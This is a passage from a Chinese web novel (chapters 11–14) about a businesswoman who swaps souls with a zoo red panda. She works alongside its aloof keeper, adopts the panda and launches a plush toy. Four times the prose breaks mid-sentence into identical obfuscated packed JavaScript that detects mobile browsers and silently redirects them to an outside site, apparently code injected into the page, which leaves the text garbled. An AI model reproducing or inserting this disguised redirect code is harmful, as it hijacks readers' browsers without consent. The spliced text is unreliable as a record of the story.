走在前面的饲养员头也不回：“蒋昀。” “啊？哦。”程知玥发誓，如果不是她一直留心他，否则根本听不清他在说什么。 又是一片沉默。 完了，程知玥头疼，这下不好办了，他这么沉默是金的样子，她怎么从他嘴里撬出话来。 再走了几分钟，就已经到小熊猫展区了。现在是早上八点，展区外已经聚集了人群，他们兴致勃勃地看着展区里的小熊猫。 早上的小熊猫精神饱满，有的在津津有味地吃着竹叶，有的在爬树，不过也有的睡不饱找了个位置补眠。 看来在志愿者们到来之前，不光是饲养员们，其他工作人员都已经开始了工作。 “走吧，我们去工作室。” “哦，好。”程知玥连忙收起眼神，跟着他走。 工作室就在展区的左边，也是在内场的旁边。工作室分了好几个房间，有食料准备室，有冷藏室，有衣帽间等等。 程知玥还在四处张望的时候，蒋昀不知道从哪里递过来一个包裹。 “这是？” “工作服。”蒋昀一板一眼地说着，指了指方向，“你先去衣帽间换上工作服，把包和别的东西都放在那里。” “哦。好。”程知玥接过，还真是贴心，哪怕是一个实习活动，都准备好了工作服。不过也是，为了动物着想，还是换上干净的工作服才能更好地接近动物。 程知玥换好了工作服，她的衣服跟蒋昀的一模一样，背后绿野动物园的刺绣一目了然。 “很好。”蒋昀点头，他看了看头顶上的钟，“接下来我们去给小熊猫准备竹叶。” 说完，蒋昀就朝冷藏室走去。 “诶？为什么要去那里？”虽然没有准备过竹叶，但程知玥也是去过动物园的，她也见过有人开着车把一筐筐的竹叶送到动物园。 “竹叶每周送一次，昨天已经送过来了。”蒋昀打开冷藏室的门，里面是一筐筐竹叶，赶上时候，正好有自动洒水的装置洒水。 程知玥接过蒋昀递过来的竹叶，竹叶翠绿鲜嫩，上面还沾着水珠，看上去就很新鲜。 还没等程知玥发问，蒋昀就解释道：“这个装置没隔一段时间就会自动洒水，这么做是为了让竹叶一直保持新鲜。每天我们要给小熊猫们准备四次竹叶。” “哦，哦。”程知玥连连点头。 “接下来我们就去外场放竹叶。”说着，蒋昀打开了门。 跟随着蒋昀的脚步，程知玥也进入了外场，她微微一撇，看见了旁边的小门，还真是亲切啊，上次她就是从这个小门进去的。 “我们要把之前的竹叶回收。”蒋昀举起一把竹叶，那把竹叶已经被吃得干干净净了，就只有边角还有一些残渣。 程知玥有样学样地也举起一把竹叶，装模作样地看着，不过她实在看不出什么名堂。她偷偷地看向蒋昀，却看到他的嘴角微微上扬，这不由地让她看呆了，这还是今天第一次看到他的微笑。 蒋昀回头，笑容也加深了，可惜对象还是那把已经吃干净的竹叶，“小熊猫的主要食物是竹叶。所以你看，这种被吃得干干净净的竹叶，就说明小熊猫们的胃口很好，身体健康。” “这、这样啊。”程知玥依葫芦画瓢，学着他的样子把新鲜的竹叶放在之前的竹叶位置。 “我们再去一些小熊猫可能会刻板的地方放竹叶，这样会减轻刻板。” 刻板，程知玥心里一动，她知道这是一种异常行为，是动物们无法适应环境产生的行为，比如说一直走来走去，来回踱步。那么圈圈呢？它是不是因为刻板了，所以她们才互换呢？ “那我们这的小熊猫有刻板的吗？”程知玥小心翼翼地旁敲侧击。 “之前一段时间，有只叫圈圈的小熊猫有过，不过已经好了。” 果然！程知玥连忙追问：“什么时候有的，多久好的？” “大概是在两三年吧，一年后就好了。”蒋昀回忆着，想起了那个时候的圈圈，他脸上露出了一丝心疼。 看来不是这个原因，程知玥有些失望。不过也好，排除了一个错误选项。 就这么忙乎着，时间过去了一个小时。 “走吧。”蒋昀抬起手，擦了擦脸上的汗，“我们该去准备小熊猫饭了。” 小熊猫饭，程知玥的脑海里顿时想起了她第一次跟圈圈灵魂互换后见过的那个盆盆饭。 食料准备室里，程知玥睁大了眼睛看着蒋昀的一举一动。 蒋昀把羊奶粉、多维跟钙粉、鸡蛋、竹叶粉等等放入一个盆子，反复地揉搓使它们混合均匀，再分成小块捏成窝窝头形状。 在蒋昀的指示下，程知玥洗完苹果，把苹果切成了一片片放进饭盆里。 “好了，我们去叫它们吃饭吧。” 刚踏进外场，就有两只小熊猫守在路上，它们似乎早就知道到了饭点特意来蹲守的。 蒋昀轻笑一声，走在前面。两只小熊猫迈着小内八一扭一扭地跟在他身后。 这时，一只小熊猫停下了脚步，它好像觉察到不止是蒋昀带来了盆盆饭，身后的程知玥也备有食物。 它回过神，歪了歪脑袋，方方正正的脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543776|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎在思考,就连耳朵也跟着一动一动的。 好可爱! 这么近距离的看小熊猫都快要把程知玥心都萌化了。 小熊猫走了过来，小熊猫站了起来，小熊猫张开了双臂，小熊猫抱住了程知玥的双腿。 要不是程知玥手里分别拿着一盆饭，她都快要忍不住蹲下身抱起它了。不光是因为可爱，还有疼。即使是穿着工作服，还是能体会到那个锐利的爪子抓在肉上的疼痛。 “怎么不跟上……”蒋昀回头，本来想要责备的话咽了下去。他随手从饭盆里掏出一块苹果片递给一直追随他的小熊猫，小熊猫接过乖乖地坐在原地吃了起来。 蒋昀走到程知玥的旁边，他弯下腰，递给扒拉着裤腿的小熊猫一块苹果片，好声好气地跟它商量：“年年，这块苹果给你，你放开姐姐的腿。” 年年嗅了嗅递到嘴边的苹果，不假思索地接过，总算放了程知玥自由。 “谢谢。” “没事。”蒋昀摇头，他顿了顿继续说道，“疼吗？” 程知玥活动了一下腿脚，虽然还是有些细微的疼痛，但是不碍事。于是她摇了摇头。 “那就好。”蒋昀说完，转头就走。 “……”这样就完了吗？果然很冷淡啊！ 不过就这一瞬间，程知玥看清了蒋昀的手，他的手上有很多红痕，看上去多是旧伤。不用细想，也知道这是长年累月饲养小熊猫，被它们划伤的痕迹。程知玥的心也软了下来，饲养员果然是件不容易的工作。 走到木台时，五只小熊猫都集聚在一起了。这下，游客们也兴奋起来。 “赶上了小熊猫吃饭的时候！” “好可爱啊，它们还会用爪子拿着吃。” “圈圈呢？圈圈怎么没来？平时吃饭不是最积极吗？” 听到游客们的声音，程知玥也看了看乖乖坐在一排吃饭的小熊猫们，果然没有圈圈的身影。 “我们去找圈圈。”饲养员手上拿着为它准备的饭，进入了树林。 “圈圈、圈圈……” 只是任凭她们怎么呼喊，都没有圈圈的身影，反倒是有几只小麂听到动静纷纷探出头来。 高处有片树荫突然动了，经过一番蛄蛹，一个小熊猫头露了出来，一张标准的委屈脸，正是圈圈。 圈圈一步一步缓慢地走着，直到走到她们二人的面前。 “你要不要试试喂圈圈。圈圈平时不怎么亲近人……” “它吃了！”程知玥惊喜地回头看他，她手上本来还拿着一块苹果，但转眼就在圈圈的嘴里了。 “……”蒋昀闭上了嘴，刚才的话当他没说。 圈圈吃完了苹果片，湿漉漉的眼睛眨也不眨地盯着程知玥看。 “好乖好乖。”程知玥忍不住又喂了第二块，圈圈乖巧地接过，甚至还在吃完后用脑袋蹭了蹭她的裤腿。 蒋昀沉默了，他来动物园三年了，三年的时间他才跟圈圈稍微亲近一点。别的小熊猫饲养员也是这样，怎么都跟圈圈打不好交道。 但眼前这个叫程知玥的女人，圈圈却意外亲近她，这还真是神奇的事情。 蒋昀看着她，从头到脚地打量，在他眼里，除了动物，人类都是一个样，他还真没有看出来她有什么特别的。 那她究竟有什么魔力让圈圈第一眼就喜欢她呢？ 12. 第 12 章 接下来的饲养员工作，程知玥都不想再回忆了，到处捡小熊猫的粪便，清理内场，再次准备竹叶，忙得她真是不可开交。 随着动物园传来即将闭园的广播，程知玥总算松了一口气，这工作确实不是一般人能做得下来的。 “行，今天的体验工作就结束了。” 程知玥急忙朝工作室走去，但走了几步她就停下了：“你不一起来吗？” “不了。”蒋昀摇摇头，“实习体验结束了，但我的工作还没有结束。” 程知玥了然，回想起今天一天的经历，虽然蒋昀比较冷淡，但该教的都教的，也是认真负责。 因此，看着他仍然再忙碌的背影，程知玥由衷地说：“今天谢谢你。” 话说完，程知玥也不再看蒋昀的反应，转过身离开，脸上还挂着知足的微笑。 蒋昀没有回头，这样的道谢他已经习以为常。 今天这一天还真是充实啊，程知玥提着包开心地走在路上。本来她就觉得小熊猫可爱，但今天近距离接触，才发现它们的可爱程度比她想象得还多。原本她这趟只是为了寻找互换的原因，但不知不觉中就沉迷其中了—— 啊！完蛋！程知玥猛地停住，她拍了拍脑袋，她竟然把目的都抛之脑后了，这下她急得在原地转圈圈，引得路人侧目。 现在回去还来得及吗？程知玥走了两步，又可惜地摇摇头，现在都已经是闭馆的时间了。唉，早知道应该加一下饲养员微信，不过看他的样子，多半还是会拒绝的吧。 程知玥急忙掏出手机，点开绿野动物园的公众号。或许她再尝试一下报名？但是很遗憾，公众号的页面还是停留在本次活动上。 唉，程知玥叹气。她扒着栏杆望着桥下的河流，河水静静地流淌，夕阳照在河面，粼粼水光就像被墨水染红了一般，还真像她此时的心情，落寞悲伤。 “叮叮叮……” “喂？” “玥姐，你找到线索了吗？”电话那头，是林思思元气满满的声音。 “听我的声音，你觉得像是找到了吗？” “呃……”电话那头林思思收起了开心，这么有气无力的声音确实不像是找到了。于是她小心翼翼地安慰：“没事，姐，还有下次。” “没有下次了。”程知玥垂着头，“我看公众号上没有宣布下一次活动的消息。再说这一次抽到我是幸运，下次还不一定呢。” 这下，林思思也沉默了。程知玥说得是事实，她也找不到反驳的地方。 “有什么办法可以再次跟圈圈接触还没有时间成本不占用上班时间呢？”程知玥摸着下巴自言自语。 话刚出口，一个想法就像一道惊雷闪过了她的脑海，程知玥不禁脱口而出：“我想到了！” “什、什么？” “我要去跟动物园谈合作，认养圈圈，并且推出以圈圈为原型的玩偶。”程知玥说着，越说越觉得文思泉涌，思路都展开了，“等玩偶出圈了，再建立一个文创店，推出更多别的动物玩偶。到时候，就能重振程氏了！” “就是第一次互换时说的那个计划吗？” “是啊，没有想到当初只是胡扯，现在看来确实是个可行的计划。”程知玥无比地满意这个想法。 林思思也兴奋起来：“我也觉得可行，总不能让林氏一直踩在我们头上。” “……”程知玥语塞，林思思真是哪壶不提哪壶开啊，前几天全球乐园就官宣了和林氏集团的合作，她本来一直想淡忘这件事的，毕竟如果不是互换说不定中标的会是谁呢。现在林思思再提起，简直是往她伤口上撒盐。 听到电话里的沉默，林思思也意识到自己说错了话。但她立即补救：“玥姐，这个策划书就交给我来写吧，我一定能帮你达成合作。” “行，那就交给你了。”既然林思思主动扛下这份责任，程知玥也没有拒绝的道理，她点头同意了她的请求。 两周后，程知玥如愿坐在动物园办公室里。 “那么合作愉快！”动物园园长在合同上签名，笑容满面地伸出了手。 “合作愉快！”程知玥也友好地回握。 这份合同全程都是由林思思制定，虽然林思思还是个资历尚浅的新人，但工作能力极强，这也是为什么程知玥会把她一个才大学毕业的人提拔到身边做助理的原因。 合同程知玥也认真看过，暂且先签了一年的领养，加上后续以圈圈为原型制作玩偶的商品权，总计花了三十万。 三十万对于以前的程氏来说不过杯水车薪，但现在的程氏每一分都花在刀尖上。因此程知玥也是赌了一把，为了自己，也为了集团。 动物园这边，也是十分满意这次合作。本来作为公立动物园，只能拿政府补贴，门票又定价便宜，而他们对动物又是十分上心，最高级的食料，完备的动物园配套实施，专业的工作人员，每年财报都是亏损，他们也为此头疼。 刚巧最近圈圈有些热度，他们正想着如何运用热度，就有企业找上门了。三十万对于动物园来说，虽然不能解燃眉之急，但后续他们提供的发展，制作玩偶，创立文创店，制作其他动物的周边，这些深深打动了他们。拥有了这些，何愁没有游客上门。 “对了，我有一个请求。”程知玥说着，她抬头看着大屏时圈圈呆呆的脸，“我们集团领养圈圈还有一个我私人的原因，我非常喜欢它，所以可以定期给我发圈圈的视频或者活动动态吗？” “这是自然。”园长点点头，他唤过旁边的秘书：“你让熊猫馆馆长派圈圈的饲养员来一趟。” 圈圈的饲养员，程知玥心里微动，不会是蒋昀吧。是他的话倒也不错，工作认真负责，想必也能从他那里得知更多圈圈的信息。 “园长。” 程知玥循声看去，一个踏着运动鞋，穿着工作服的男人走了进来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569591|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门开的瞬间，阳光从室外照了进来，映在他的身上，即使再面无表情如他，此时看上去也是温暖柔软。 果然是他。 园长热情地把蒋昀拉到程知玥的旁边，热情地向双方介绍：“程总，这是我们小熊猫展区的饲养员蒋昀，圈圈就是由他照料的。” “我知道，我们之前见过。”程知玥说着，礼貌地浅笑伸出了手。 “诶，什么时候？”园长问着，还拍了拍蒋昀的后背，示意他也握手。 蒋昀乖乖照做，简直就像任园长摆布的机器人。 “前段时间贵园举办了志愿者活动，我刚巧被抽中当了实习饲养员，就在他的手下干活。”说着，程知玥拿出了手机，展示自己被抽中当饲养员的短信。 “这么巧吗？”园长惊喜地张大了双眼，就连眼角的鱼尾纹都浮现了出来。 然而，当他看向蒋昀时，脸上却僵硬了表情。他一脸迷茫，完全没有想起来的样子。园长心里咯噔，早知道这小子冷淡，只关心动物不在意人，但两周前才见过，还是一天都跟在一起干活，他却连别人的脸都忘记了，这真是有点打领养企业代表人的脸。 同样怀有这种心情的还有程知玥，她一看见蒋昀这种表情，都忍不住闭上嘴，恨不得回到几分钟前把刚才的话给吞下去。不是吧，这人也太过分了，也太目中无人了，敢情只有她记得他什么都不记得是吧。 园长赶紧打圆场：“那真是太好了，我想蒋昀应该也很难忘吧。”说着，拍了拍蒋昀的肩膀，示意他回魂。但又害怕他说出什么，园长继续抢话：“既然程总已经选择领养圈圈，那么你想以什么方式收获圈圈的独家视频呢？” “领养？”蒋昀回头，发出了疑问。本来他被叫过来还觉得莫名其妙，听到领养更是摸不着头脑。 “是啊。”园长赶紧解释，“程氏集团决定领养圈圈，后续还将推出圈圈的玩偶。这位就是程氏的负责人程知玥程总。她个人，由于非常喜欢圈圈，所以想要你定期发送圈圈的视频和消息。” 听完了全部，蒋昀的眼睛逐渐亮了起来。领养，那么是不是就意味着圈圈能生活得更好，其他小熊猫也能沾到它的光，有更好的食料，更好的丰荣。 想到这里，蒋昀一改刚才的态度，他看着程知玥，郑重地承诺：“请程总放心，我一定会好好照顾圈圈的。” 这还差不多，园长总算松了一口气，总算不用他提醒了。 “那我们加个微信吧，你有时间的话就发给我圈圈的视频以及汇报圈圈的情况。” “好。” 交换了微信之后，程知玥又看向园长：“过几天我们可以在馆里开个发布会吧，我想邀请一些媒体来，为我们企业后续的工作造势。” 蒋昀蹙眉：“这……” 园长连忙把他拉到身后，拍着胸口承诺：“当然没问题！” 程知玥莞尔：“那就这么说定了。” 13. 第 13 章 绿野动物园，小熊猫展区，今天跟以往不同，它附近的空地上搭建了一个舞台，上面准备了一条长桌，还配着几把椅子。台下，更是准备了几十张椅子，每张椅子上配了一瓶矿泉水。 “这是要干什么？” “不知道啊。” “我知道我知道！听说有家企业要领养圈圈，今天就是官宣的日子！” “我也听说了，是程氏集团，不过听说他们现在效益不好，有点担心啊。” 周围的游客们看着这场景窃窃私语，毕竟谁都对大场面好奇。 记者们已经到位，按理说现在的程氏出新闻已经吸引不到多少媒体了，但前段时间程知玥出了这么大洋相的事情还是让人津津乐道，有的怀着想要看程知玥还会出什么样的乐子，有的想着哪天她说的方案还真的在执行，因此纷纷到场，甚至准备的椅子还不够，有的记者不得不站着。 “来了好多人啊。” 程知玥走到半路，就接到了林思思的汇报电话，她微微一笑，更有了信心。 下午两点，发布会正式开始。 程知玥举着话筒，走到正中央。她环顾了周围，所有人的目光都聚集在她身上。 “首先，我在此感谢各位媒体朋友们的到来。” “我曾经说过，我们程氏即将推出一款新的动物玩偶。当时，我还模拟过该动物的行为活动。”说到这里，程知玥停顿了一下，给了记者们的回忆时间。不过想到那个时候，她还是觉得有些尴尬，但她面上不显，还是一副胸有成竹的样子继续说道：“没错，就是小熊猫！” “我们将领养小熊猫圈圈，并且与绿野动物园合作，推出以小熊猫圈圈为原型的玩偶。” 程知玥抬抬手，林思思会意，她快步上台，递给了程知玥一个礼盒。 在众目睽睽之下，程知玥拆开礼盒的包装，一只十五厘米左右高的小熊猫就这么露了出来。 小熊猫做工精美，脸完美还原了圈圈的委屈脸，耳朵也是标准的蝴蝶耳，棕红色的身体，尾巴也是没有偷工减料完整的九个环。 这可是程知玥的得意之作，设计稿也是她花的，花了她几天时间。在初步确认能和绿野达成合作后，她就召集了员工开始制作，在园方的帮助下，做了好几个版型，终于在正式签约的那天也确定了要发布的玩偶。 程知玥把玩偶放在手中不停展示着，各个方向，各个部位，确定让记者们拍出它的每个样子。 这个时候更是要趁热打铁，她当然知道来这次发布会的记者都是各怀心思，但她丝毫不介意，只要宣传到位，她可不在乎他们的真实想法。 这不，台下有个满脸横肉的记者不屑一笑，明显就是对玩偶的不以为然。在他眼中，玩偶算什么，大新闻才是最重要的。 “这位记者。” “诶？我？”他倒是没有想到自己会被程知玥点名。 “要不要摸一下，试试这个玩偶的手感。” “我就不用了吧。”记者干笑。 但程知玥才不管这些，她从台上跳下来，走到记者的旁边，他旁边的人自动给程知玥让路。 记者只能不情不愿地接过了玩偶，哼，这玩偶就算好看又怎么样，手感就算舒适又怎么样，反正也跟别的玩偶没什么区别—— “这手感好顺滑啊。”他脱口而出。 那是自然，程知玥得意，这玩偶不止相貌可爱，看上去就毛绒绒的，手感更是一级棒，柔软细腻，简直就像摸丝绸一样。 这位记者很多人都知道，是出了名的毒舌爱找茬，什么好的事情都能被他找到全新的角度进行攻击。因此他嘴里竟然出了好话，这还真是稀奇。 他旁边的记者赶紧伸出手，这一摸，啧啧称奇。 “摸起来真的好舒服啊！” “而且好可爱啊，我都想买一只了！” 要的就是这种效果。程知玥把玩偶拿了回来，重新回到了台上。 “这是十五厘米的小熊猫玩偶，还有十厘米、二十厘米的玩偶。除了玩偶，我们还将推出其他产品，比如头饰、钥匙挂件等等，请大家多多关注我们的官网和公众号。” 程知玥把话筒交还给主持人，下面的环节轮到熊猫馆的馆长讲话了。 “我们很荣幸能和程氏集团合作……” 馆长滔滔不绝地说着，程知玥也配合着时不时点头，但她的心思却已经飘到了下个环节。 那可是一个不可控，难度系数最高的环节，如果搞砸的话，她都不敢想象媒体们会怎么写。 “下面我们请大家移步，到旁边的小熊猫展区。” 小熊猫展区本来就有许多游客们在观看，记者们一过来，那更是人山人海，堵得水泄不通。 程知玥好不容易在保安的保护下走到前排，她望了望对面，大部分小熊猫们都悠闲地在树上睡着午觉，一两只在安静地吃着竹叶。不过发布会主角的圈圈却不知所踪。 不会吧，程知玥心里咯噔一声，她怕的事情真的就要发生了吗？ 媒体们也在喧闹嘈杂。 “让我们看什么啊？” “可能是看圈圈吧，圈圈是哪只啊？” “让我挤挤，我啥都看不到。” 好吵，不光是游客们，就连程知玥都忍不住皱眉。 在疑问中，两个人端着一个蛋糕进场，说是蛋糕，不如说是以苹果、葡萄、笋、竹叶等各种小熊猫喜欢的食物拼接出的蛋糕的样子。做得好看，不光是小熊猫，就连人都忍不住想要尝尝味道。 程知玥认出了端着蛋糕的其中一人就是蒋昀。看到他在，她稍微觉得安心，有了熟悉的饲养员，圈圈应该很快就会出来吧。 蒋昀他们把蛋糕放置在小熊猫们吃饭的木架上，浑然不知身后还有只小熊猫能能怂怂地跟在后面。 “诶诶诶，年年你怎么跟过来了。等会，别急。”旁边的饲养员回头一望，她赶紧从包里掏出一块苹果片递到年年的手中。 这个蛋糕可是特意为本次发布会举办的，圈圈可是主角，因此无论怎么样，都得让它第一个吃。不过动物园这边也想到了应对方式，如果圈圈没有及时到场，而别的小熊猫先到了，那就只能采用小苹果暂缓它们的注意。 “圈圈！圈圈！” 听到蒋昀的吆喝，不远处一根树下一只小熊猫露出了脸，它耳朵抖了抖，歪了歪脑袋，好像在思考着要不要过去。只是就思考了几秒，就放弃了挣扎，迈着小步伐，一扭一扭地朝木架奔来。 几天没见，圈圈好像圆润了一些，跑过来都能看到身上的肉duangduang地跳动。 “好可爱！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569592|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “难怪要领养它，如果我有钱，我也想要领养。” “还真像它的名字，圆圆圈圈的。” 程知玥在无人看到的地方轻呼出一口气，太好了，圈圈出现了。这下，胸口的大石头总算能安然落地了。 圈圈先是看了一眼旁边在吃着苹果的年年同事，又不感兴趣地移开视线。她抬起头，总算发现了木架上有个新鲜东西。它灵活地爬了上去，竟然是一顿丰盛的美食！ 圈圈嗅了嗅竹叶，又嗅了嗅笋。 一时间，全场都安静了下来，屏息凝视着它，期待着它的第一选择。 而圈圈也不负众望，选择了苹果片，它还是那么爱吃苹果。 这下，活动圆满达成。原本应该是移步到之前的发布会现场再说些结束语就能完成本次活动，但大家都极有默契地没有提出这个话题，还是站在原地看着圈圈它们的一举一动。 “前面的看够了吧，也应该让一让让我们吧。” “对啊，我们还什么都没有拍到呢。” “让一让，让一让。” “让什么啊，明明是我先来的。” “哎呀，你挤着我了！” 一时间，小熊猫展区像炸开了锅，熙熙攘攘的，比菜市场还要热闹。 圈圈停止了咀嚼，它竖起了耳朵，警惕地看着前面。下一秒，它连手上的苹果都不要了，转身拔腿就跑。看到它这个样子，年年也顾不得面前的美食了，跟着跑到树上。 蒋昀的眉头紧紧地绷着。本来他就不怎么赞同在小熊猫展区开发布会，但看在是领养企业以及园长的面子上，才不得不同意。 本来他也做好了现场吵吵闹闹的准备，只是没有想到，吵闹的程度还是出乎了他的意料，就连圈圈和年年都被吓跑了。 这下，蒋昀终于忍不住了，他瞪着对面的媒体：“吵什么，吓到动物了不知道吗！” 气势汹汹，怒目圆睁的样子不止把在场的媒体们怔住了，就连程知玥也不敢说话了。 那个满脸横肉的记者来事了，本来先前他想找茬却碰了个软钉子，正有种气不到一出的无力感。态度这么凶的饲养员可让他抓到把柄了。 他挤到前排：“说话怎么了！我就是……” 话还没有说话，衣袖却被猛地一拉，他怒而回头，就看到几个小姑娘脸上的怒意比他还要明显。 为首的小姑娘指着旁边一个木头制作的牌子上，还生怕他看不清，又重重点了点： 请观看动物不要大声喧哗哦！ 记者张了张嘴，他是擅长找茬，但是现在的情况是他们确实有问题，这反而让他指责的话没有地方宣泄了。他不得不闭上嘴，灰溜溜地移开视线。 原来还有这块牌子啊，程知玥从来都没有注意过，难怪不管是在现场还是在视频里，虽然是能听见游客们的声音，但音量都不大，小熊猫们都安安静静地做着自己的事情。 不过，蒋昀还是让程知玥刮目相看。她也看过很多饲养员制止游客们的不良行为，但记者们都是冲着发布会来的，也可以说是给了程知玥面子，这么打脸金主妈妈的事情她还是第一次见。看来他的眼里，动物比金主妈妈可是重要得多。 不经意间，程知玥的目光和蒋昀犀利的目光对上了，程知玥瑟缩了一下。好吧，这次确实是她不对。 14. 第 14 章 【抱歉，这次确实是我的问题。】 程知玥在对话框里打出这几个字，轮到按下发送键时，她却犹豫了。半响，她把这段字删除得干干净净。 上方的备注是饲养员蒋昀，他们还没有正式交流过，聊天界面空空荡荡的。 【实在抱歉，不过你放心，这绝对是最后一次。】 程知玥停下手，她看着这行字，怎么看怎么别扭。虽然是她请的记者没错，但她又不能管住每个人，再说里面想看她出洋相故意唱反调的不在少数，她替他们道歉，总觉得太委屈了。 唉，还是不发了。本来嘛，错也不在她。而且她好歹还是金主妈妈，道歉总觉得丢面子。 程知玥躺在床上翻了个身，一时之间不想面对手机。 但下一秒，她又转了回来。不行，不说什么总觉得心里有疙瘩，实在是过意不去。她又拿起手机，只是也仅仅只是拿着。 “唉！”半响，程知玥也只能发出一声无力的哀嚎。 突然，手机传来一声震动。 程知玥垂眉丧气地点开，却在看到内容时睁大了双眼。 竟然是蒋昀！他主动发来了一段圈圈的视频。 程知玥点开视频，看到的是圈圈从地上叼走一根鸡腿大小的笋，它扭着小猫步到了小木屋，然后趴在小木屋里津津有味地品尝着食物。 【圈圈状态很好，没有被下午的声音影响。】 很好，看来是完全把她这个金主妈妈放在眼里的。虽然看不出到底有没有生气，但工作态度积极，汇报也没有夹杂私人情绪，公事公办的态度令人信服。 程知玥咳了两声，从床上坐了起来。她举着手机，竟有一种小学生看课本的滑稽感。 【那就好。这个时间点不是应该已经下班了吗？】 那边回复很快。 【晚上动物园不能没有人，所以会安排人值班。今天轮到我了。】 原来如此。 程知玥重新点开视频，本来她搞了这么多事就只是为了一个目的，找出灵魂互换的原因。不过自从上次互换之后已经过去快要一个月了，竟然无事发生，她都要怀疑是不是圈圈这边已经解决了源头。 但事有巨细，她还是不能放松警惕。 视频里的圈圈，乖巧地舔着爪，饮食也很正常，除了脸更可爱，完全就是一只普通的小熊猫。可这只普通的小熊猫却给她带来这么大麻烦，说出去还真是叫人难以相信。 【我这周可以来动物园做志愿者吗？】 【这我做不了主。我只是饲养员，你问问园长或者馆长吧。】 也是，程知玥拍拍头，这种事当然得问领导了。还好因为工作的关系，她有熊猫馆馆长的电话，一听说是这事，馆长爽快地同意了，还发给了她志愿者手册，让她学习一下知识。 这一个礼拜，程知玥可以说是过得忙碌极了，白天勤勤恳恳工作。生产一个小熊猫玩偶不难，但要生产一批小熊猫玩偶就很难了，品控就是最难的事情，每一只都不能掉以轻心。晚上也在认真学习，不止要学习怎么跟游客们沟通，还要学习动物们相关的知识，做不到像饲养员那么精通，但也要略知一点皮毛。 于是，星期六到来了。 绿野动物园为志愿者们也准备了工作服，尽管是简单的红色背心，但背心后也绣着动物园的名字，可以说是一目了然。 动物园刚收到一车竹子，蒋昀拉着拖车路过，却在途中看到程知玥，他不由地发出疑问：“你怎么来了？” “哦，你还记得我？”程知玥挑了挑眉。 “……” “我还以为你又忘记我长什么样子了。” 这么明显的调侃，蒋昀怎么可能听不出来。程知玥就是在报复上次在办公室里，她提起做实习饲养员，而他完全没有印象的事情。 无聊，蒋昀嘴抽动了一下，不过什么也没有说，转身去干自己的工作了。 看着他离去的背影，程知玥狡黠一笑。看着他吃瘪的样子，她竟然有种爽感。 这周蒋昀又发了一次圈圈的视频，这次他们照样没有过多交流，她也没有提起她已经被同意了周六当志愿者的事情。 今天，蒋昀竟然主动问起，说明总算在他的脑袋里，已经印下了她的脸，真是一个不错的进步。 程知玥心情大好，这样一来，离圈圈又近了一步。 “哇！这里有小浣熊哦！” “不是，这有名牌，是小熊猫。” “小熊猫？是大熊猫的幼崽时期吗？怎么颜色还不一样啊？” 程知玥上前一步，微笑着对这一家三口进行科普：“这不是小浣熊，也不是大熊猫的幼崽。它的名字就是小熊猫，是单独的小熊猫科，也可以叫做红熊猫。” “哦，这样啊。”一家三口齐齐点头。 “哇！是小浣熊！” 身后又传来了惊呼。 程知玥转身，她觉得自己青筋都要炸了。光是一个上午，她就听到了小浣熊一百多声，大熊猫幼崽五十多声，每次她都不厌其烦地进行科普，但还是不断有人叫错。如果是以前，她也就那么算了。但她现在是志愿者，而且又跟圈圈互换了两次对小熊猫也产生了感情，她可不允许叫错名字的事情再发生。 “你好，请不要大声喧哗。” 这次被抓包的是个中年男人，他带着孩子，试图通过怪声吸引小熊猫的注意。 “啊，为什么？” 这又是制止尖叫的第二十多次。别的游客们被制止了都会乖乖改正，但这次的男人却不服气犟嘴。 程知玥指了指后面的牌子。 请观看动物不要大声喧哗哦！ 中年男人面子上过不去，还想要争辩。 只是这次连其他游客们都看不过去了。 “志愿者都这么说了，这人还要吵。” “啧啧，明明牌子都挂着呢。” “真是要不要脸啊，还带着孩子，给孩子起了不良示范。” 在游客们的嘲讽下，男人的脸也越来越红。就连他孩子也看不过去了，伸出手，拉了拉他的衣袖。于是，他们一起低垂着头，无言地退出了小熊猫展区的前排。 这样的情况还算好的了，毕竟还知道要脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574614|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最可怕的是那种固执己见，蛮不讲理的人。 